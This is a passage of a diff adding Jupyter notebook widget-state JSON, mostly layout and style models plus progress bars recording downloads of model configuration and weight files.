+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_56cc25e58ea3445f9135817143224d2c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_6c6f19d716d2410b813e32f3b051619a",
+            "value": " 372/372 [00:00&lt;00:00, 20.7kB/s]"
+          }
+        },
+        "2112261a320b4b9297aa3edc85fa2316": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "21549aef7c6f4c64b8eb676c6dd105e2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_94cc8073f13f45b085e1f23d3d4bbbc9",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_cd502f2ef8814082979d147f08177ff6",
+            "value": 20
+          }
+        },
+        "22235d8e342a47059270c8732b889d68": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_65de6855b9944b829c4aa77bce39009f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_44223dcee3694e168e866af5f69aaad4",
+            "value": " 806/806 [00:00&lt;00:00, 7.82kB/s]"
+          }
+        },
+        "229a1efdf3df4fe9aac07562774b084b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "230461cc201f4535a9f9bcf7a3ae7669": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b87077da3f824478ac88369582d77e8e",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_6f9f95e2d503403f83be05364b4199cd",
+            "value": 20
+          }
+        },
+        "233120cc0399483ea17284432feb16d3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "23460450a39c44e488bce836dac8b997": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0f796401fadb4649a30effd4c66e058f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_33ef3f5248c14c4f8dd2d4a7bf0038a9",
+            "value": " 1.45G/1.45G [00:09&lt;00:00, 116MB/s]"
+          }
+        },
+        "23a9e406e89041f8ab9a15eae4f9c61b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "24030dedd2f24e2cbfa3833249d09810": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "25d01861ca0c45d3a5f57932d9754834": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "25d1091281ad407c833a36c7e421e1e2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "261aabd2415d43809b669b49f3899504": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "261e963568fc4a24af694276311c3b18": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "27d1ad377e6c45d7b4b1c49786438015": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_475c331703bb43adb142f6c9cc41a3bf",
+              "IPY_MODEL_10be4b9595c84f36aeab9593e63440e6",
+              "IPY_MODEL_645ebe129fd544a4b9383dfc1414cf0a"
+            ],
+            "layout": "IPY_MODEL_51605e182e344a94a99c50fcaaef17b1"
+          }
+        },
+        "27f8dc0ef76448be90b004529fa562cf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0120420c938f4e588ac496f37bcc42eb",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_89a159fc68ef4972a0368c72306cd8c4",
+            "value": 20
+          }
+        },
+        "282f7b2aeec54a81b94da85c85c7cb75": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2898c9af6aea4c79a4f9e89e24275083": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "28baa1ec6f3c46309c04f2c8462b1798": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "29e96ee99a714e2c86a0d68be1a31055": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2a8c5504fb034f608567f8d706389d79": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2a8de4ddaf4747ceb0a153851cd765ca": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2aeb8135603c46c1aa80e2c3580b897f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2b5e8dcb60ee4f65af5505ffa7ea3ae2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_940a28141ae14329831b67e91ff1091a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f1f865efa3a6448ea9c930a1f08c50bf",
+            "value": " 342/342 [00:00&lt;00:00, 2.00kB/s]"
+          }
+        },
+        "2b92efb0492b4af6b50e2d5754212b5c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2bc90ab8db7b4f979ff0cb5eb01284a6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2c260ce7a89840e3857942d9294f9321": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2cd604429546460d8e79a7ac4980d4cd",
+            "placeholder": "​",
+            "style": "IPY_MODEL_1cf1b7e84b744edf907f94aa3d1983bc",
+            "value": "Downloading (…)lve/main/config.json: 100%"
+          }
+        },
+        "2c38cd148fe74a5897c3319be42b7d7e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2caabb6f82ef46ecbda6c0baf215d72a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2cd604429546460d8e79a7ac4980d4cd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2d76832bc7834ef6b683ef6829f83861": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2db8827ffa344a4a8ac5487ff2997ae0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6ba872bd45c34e6c8202cc3722dc9285",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4d73b627ecc74bf7ad18f5effa245097",
+            "value": "Downloading (…)rocessor_config.json: 100%"
+          }
+        },
+        "2dc4775bcef749b7bbbb3f71d714211c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2df0162802aa488dbddb9a7376954865": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2e3313ac79794a18a38a6b98c0f4f28a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2f8938d9a9254868869767a332bdf84f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2fa71efbdefa4607b37d985b272fcffa": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
